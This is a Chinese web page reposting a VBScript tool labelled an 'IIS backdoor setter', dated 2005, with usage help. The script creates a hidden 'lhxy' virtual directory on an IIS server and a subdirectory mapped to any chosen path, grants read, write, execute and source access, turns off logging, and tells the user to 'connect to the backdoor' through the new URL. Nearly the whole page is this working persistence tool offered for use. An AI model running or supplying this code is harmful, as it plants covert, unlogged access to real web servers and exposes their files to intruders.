| 关键词: nbsp Wscript VirDir echo myDir true 目录 help lhxy 名称 |
来源:http://www.17nc.com/ help1="IIS后门设置器 --------------- 4月5号2005 年"help2="请输入正确的虚拟目录名称和映射的路径,格式如下"help3=" cscript.exe iis.vbs 虚拟目录的名称 映射的路径"help4="例如: cscript.exe iis.vbs lh e:\"set Args = Wscript.Arguments if args.count < 2 then wscript.echo help1 wscript.echo "" wscript.echo help2 wscript.echo "" wscript.echo help3 wscript.echo "" wscript.echo help4 wscript.quit end ifstrVRName=args(0) ''虚拟目录名称strRootPath=args(1) ''虚拟目录路径Set checkVirtualDir=GetObject("IIS://LocalHost/W3SVC/1/Root") For each VR in checkVirtualDir if VR.Name="lhxy" Then foundt ="yes" else foundt= "no" End If Nextif foundt ="yes" then wscript.echo "发现已经创建了lhxy目录,正在设置自定义的虚拟目录" creatvdirelse wscript.echo "正在创建lhxy目录,以及自定义文件夹,请等待!" creatlhxy creatvdirend ifwscript.echo "你创建的虚拟目录名称是"& strVRName &",映射的文件夹是 " & strRootPath &"。"wscript.echo "请访问http://IP/lhxy/"& strVRName &"/ 来连接后门!"wscript.echo "恭喜!后门设置全部完成!" sub creatlhxy() Set objDir=GetObject("IIS://LocalHost/W3SVC/1/Root") Set myDir=objDir.Create("IISWebVirtualDir","lhxy") myDir.AccessRead=true myDir.DefaultDoc=mydir.DefaultDoc myDir.AppIsolated=0 myDir.AccessExecute=true myDir.DontLog=true myDir.AccessSource=true myDir.EnableDirBrowsing=true myDir.setinfoend subsub creatvdir() Set objVirtualDir=GetObject("IIS://LocalHost/W3SVC/1/Root/lhxy") Set VirDir=objVirtualDir.Create("IISWebVirtualDir",strVRName) VirDir.AccessRead=true VirDir.Path=strRootPath VirDir.DefaultDoc="" VirDir.AccessExecute=true VirDir.AccessWrite=true VirDir.AccessSource=true VirDir.AppIsolated=0 VirDir.DontLog=true VirDir.EnableDirBrowsing=true VirDir.appcreate 0 VirDir.CreateProcessAsUser=0 VirDir.setInfoend subwscript.quit |
|
声明:文章版权归原作者所有 部分文章转自互联网 如有侵权请联系
[邮箱地址] 删除
|